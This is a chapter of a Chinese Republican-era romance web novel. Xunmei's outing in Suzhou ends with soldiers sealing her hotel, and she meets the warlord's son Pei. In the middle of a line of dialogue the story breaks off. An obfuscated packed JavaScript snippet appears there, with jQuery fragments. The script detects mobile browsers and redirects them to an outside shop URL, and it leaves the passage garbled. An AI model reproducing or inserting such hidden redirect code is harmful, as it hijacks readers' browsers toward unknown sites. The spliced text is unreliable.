15. 第 15 章

作品:《被军阀公子退婚后[民国]

    “我也穿的,你看,”洵美转了个圈儿让她看自己的裙子,她穿的是上蓝下黑,半镂空的坡跟皮鞋,“现在就流行这个,《良友》最新一期的新款呢。”


    莲心有些疑惑,“《良友》是?”


    “是一本画报杂志,可好看了,上面有时事政治,生活时尚,美术摄影还有很多名人的报道,你知道写出《小民之灾》的凌波先生吗,上一期就是他的专题报道呢。


    我们学校很多女生每期都订阅,还有《今代妇女》,《妇人画报》,《玲珑》,按照上面的画册穿衣服是最摩登的。”


    莲心唇瓣微张,惊讶道,“现在的人可真了不得,连穿衣服都要专门出书呢!”


    洵美“噗嗤”一声笑了出来,“可不是嘛!”


    太阳偏西,暑气渐散,阊门外的石路上,正是热闹的时候,洵美拉着不愿出门的莲心出去听评弹。


    思索再三,莲心还是换了自己的衣服,观前街人潮如织,两旁的店铺一家挨着一家,高矮横竖的招牌从檐下伸出来,绸缎布庄,茶食糖果,钟表眼镜,挤挤挨挨地悬在头顶,几乎把天遮去一半,人力车从身边经过,要擦着身子过,从醋坊桥一路向西,街越走越窄,人却越走越多。


    茶楼书场坐满了人,竹帘半卷着,台上的先生琵琶叮咚,唱的是《玉蜻蜓》,曲调悠悠,清风过堂,茶客们摇着扇子听得认真,莲心走累了,留在茶楼。看着洵美挺直的背影,她低下头,脚尖酸涩胀痛,心中暗想放足的可能。


    茶楼外,几个小孩子挎着竹篮沿街叫卖,洵美招手让里面那个小姑娘过来。


    小姑娘7、8岁左右的年纪,衣着干净,竹篮编的也非常精巧,洵美低头看了看,里面整齐摆放了许多花串手链,有白兰花,玳玳花与茉莉花花朵做成的手链,还有三种花混合做成的手链,苏州人管这叫“三白”,此外几个小小的花篮摆在一旁似做装饰所用,素净雅致,沁香扑鼻。


    她挑起一串看了看,这手链是用细细的铅丝将花朵穿成一串,小小的茉莉花团簇盛放,一粒粒白的发光,戴在手腕上凉凉的,有一点湿,她抬起手腕闻了闻,那香甜丝丝的,带着一点青涩的冲。


    小姑娘帮她系在手腕上,白花贴着雪白细长的腕子,花朵轻轻颤动着,一时间竟分不清哪个更白。


    倒也清丽自然,洵美又挑了几串包起来,卖花的小姑娘笑意盈盈的仰头道,“承惠,茉莉、白兰的4枚铜元,三白的贵一点7枚铜元,花篮10枚,小姐给我30铜元就好。”


    洵美笑眯眯的打开手袋,小姑娘乖巧嘴甜,她夸赞道,“都是你自己编的吗?这么小就出来帮家里赚钱啦,真懂事。”


    小姑娘轻轻摇头,软声软气的说,“我娘教我的。”


    “是嘛,喏,这是奖励你的。”


    一枚沉甸甸的银元递到眼前,币面上袁世凯的侧脸清晰可见。


    袁大头?


    小姑娘吓了一跳,连忙摇头,“小姐,这太多了!”一枚银元可以换300铜元,她竹篮里的所有花串手链加起来也就100铜元哩。


    洵美不在意的将银元塞进她大大的口袋里,“没事,回去买点好吃的。”


    最后小姑娘非要把竹篮一起送给她,洵美劝不住,她将竹篮放到地上扭头就跑了。


    牛师傅弯腰提起来,大大的人拎着小小的篮子跟在小姐后面。


    等她们回到茶楼,叫上莲心她们离开,顺手将篮子交给跑堂的伙计,让他放到堂前,喜欢的客人可以自取。


    下楼后,茶楼前拉客的黄包车夫笑着迎上前来,一行人分坐车辆向饭店方向而去。


    黄包车夫一路上拉的很卖力,呼哧呼哧的喘气声伴着奔跑的热风,行至饭店拐角处,车夫的脚步渐渐缓下来,声音透着几分紧张,“小姐,前面好像出事了。”


    洵美探头望去。


    只见几辆军卡停在路边,不断有士兵从车上跳下来集合,脚步声杂乱而沉重,排成整齐的队列,为首的军官一挥手,士兵们立即散开把住所有的通道,街上的行人惊慌的往两边躲去。


    几个三四十岁顶着一头油光水滑的头发的男人,从饭店大门小跑出来,洵美认得他,是金顶饭店的经理和账房,他面色焦急,声音发抖,手里比划着什么,军官面色冷硬,越过他径直走进饭店。“二十三旅奉命办事,所有人待在房间里,不许出门!”


    “小姐,要过去吗?”牛师傅嗡嗡的声音在耳边响起,他已经下车,正皱着眉头望向前方。


    洵美想了想道,“莲心你们在这里等一下,我和牛师傅过去看看。”


    莲心担忧的道了声小心。


    还没走到大门就被一个黑脸士兵拦住,“奉命办事,请止步。”


    牛师傅挤出一个笑脸,掏出烟盒递过去,“小兄弟,我们不进去,就和你打听一下这到底怎么了,我们行李还在饭店呢。”


    黑脸士兵将他的手推开,冷冷道,“别套近乎,这饭店我们监管了,再找地方住吧。”


    没有多言,他转身要走,扭头之时看到洵美,虽然很快就被牛师傅挡住,他的眼中还是闪过一抹惊艳,脚步顿住问道,“你们是苏州的?这是你们小姐?”


    牛师傅挺直了胸脯,“我们小姐是南京远东实业的大小姐,我们老爷和裴大帅那都是一个桌吃饭喝酒的,你就给我们通融一下,拿了行李我们就走,绝不给你添麻烦。”


    士兵犹豫了一下,一名士官长看了过来,大声喝问,“什么情况?”


    士兵行礼,“报告长官,她们想进饭店拿行李被我拦住了。”


    洵美抿了抿唇,张口道,“这位长官,不好意思……”


    士官长挥手制止道,“不行,金顶饭店暂时不能对外开放,不管什么拿行李还是找经理都不行。”


    洵美没办法,正要离开,之前那个军官从大门走出来,经理苦着脸跟在他后面。


    军官似乎看到了洵美,大步走过来,“林小姐,您怎么在这里?”


    洵美一愣,盯着他看了半响,脑海中有些许印象,“齐副官?”


    望着她疑惑的双眸,齐斯礼笑了笑,“正是卑职,奉命来此调查。”


    “林小姐什么时候来苏州的?”


    “前几天刚到的,就住在这里,”洵美将凌乱的发丝向后捋了捋,犹豫的问,“你们要调查多久,我们的行李还在里面呢。”


    齐斯礼微微低头,“有人举报苏州饭店藏了炸弹,不止金顶饭店,苏州所有饭店全部戒严,可能要查一两天,”顿了顿,他继续道,“小姐的行李可以拿出来,


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17311374|198864||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就是住的地方比较麻烦,不介意的话可以去我们驻地,旅长此时正在苏州。”


    想到之前士官长的拒绝,洵美不好意思的问,“会不会给你添麻烦?”


    旅长,难道是裴二公子?


    这升职速度真不愧是少帅。


    想到裴家人,她的感觉百味杂陈,有拘谨,紧张,不安,总体而言是不如不见的。


    但是如今金顶饭店显而易见已经不安全了,洵美迟疑道,“而且我的朋友她们也在这里。”


    “没关系,小事而已,只要稍作检查她们可以和您一起离开。”齐斯礼不假思索道。


    “多谢。”


    齐斯礼笑了笑,回头,一个士官模样的人小步跑来,他耳语几句。


    士官行礼答是。


    随后这名士官带着洵美一行检查过后坐上军车离开。


    士官走后,齐斯礼走到座机旁,电话接通旅部。


    “讲。”


    片刻,清冷的声音响起。


    他屏住呼吸,正色道,“报告旅长,属下已派兵包围金顶饭店并苏州二十一家酒楼,严查最近三天酒店来往人员。”


    对面人似乎在讲话,他凝神听着,生怕遗漏一句,最后说,“还有一件事,当时林小姐也在,她们是两天前办理入住的,一行五人,属下已命令士官送林小姐她们回旅部。”


    电话对面,裴修能静了静,指节敲了敲桌面,“可以。”


    洵美她们坐上齐斯礼安排的汽车,许久,车子在一处巷口停下。


    巷子口两个人站的笔直,蓝灰军装,扎着皮带,枪横在胸前,立翻领,单排扣,整齐的灰布绑腿黑布鞋,胸前口袋微微鼓起,不知装着什么,汽车停下,其中一个士兵走上前来,立正敬礼,“请出示证件。”


    士官下车掏出证件交代几句,汽车再次驶动。


    一路行来,每隔三五丈,便看到有士兵贴着墙根站着,目不斜视,腰杆笔直。


    若没有汽车行驶的引擎声,这里几乎落针可闻,也可能是她太紧张了,以至于连鸟鸣声都未曾听见。


    清儿贴着洵美,耳语道,“小姐,这些军阀好吓人。”


    清儿的话让洵美知道这不是她的错觉,她捂住清儿的嘴,“慎言,这里可不是咱们林家。”


    清儿狠狠点头。


    旅部驻地是一处征用的大宅,士官领着她们穿过天井,走到正厅,在门口被近卫拦下,只洵美一人可以进去。


    洵美进去,只见厅堂极大,正中摆着一张紫檀书案,案上摊着军用地图,红蓝铅笔压在上头,一道身穿军装的人影背对门站着,似乎在看墙上的作战图,只看他的背影便有渊渟岳峙之感,令人望而生畏。


    “旅长,林小姐到了。”近卫通报后退下。


    那人影转过身,侧脸的线条极好,从额头到鼻尖,从鼻尖到下巴,像用刀一笔刻出来的,没有半分多余,如巍巍玉山,有山之巍峨,无玉之易碎。


    “林小姐。”


    洵美收回视线,上前行礼,“裴旅长,给您添麻烦了。”


    少女身穿士林蓝的上衣,衣袖在小臂处散开,肤色极白,润如凝脂白玉,卷翘的睫毛轻轻颤动着,似欲飞的蝴蝶,嘴唇是淡淡的玫瑰色,她似乎有些紧张,嘴唇轻轻抿着。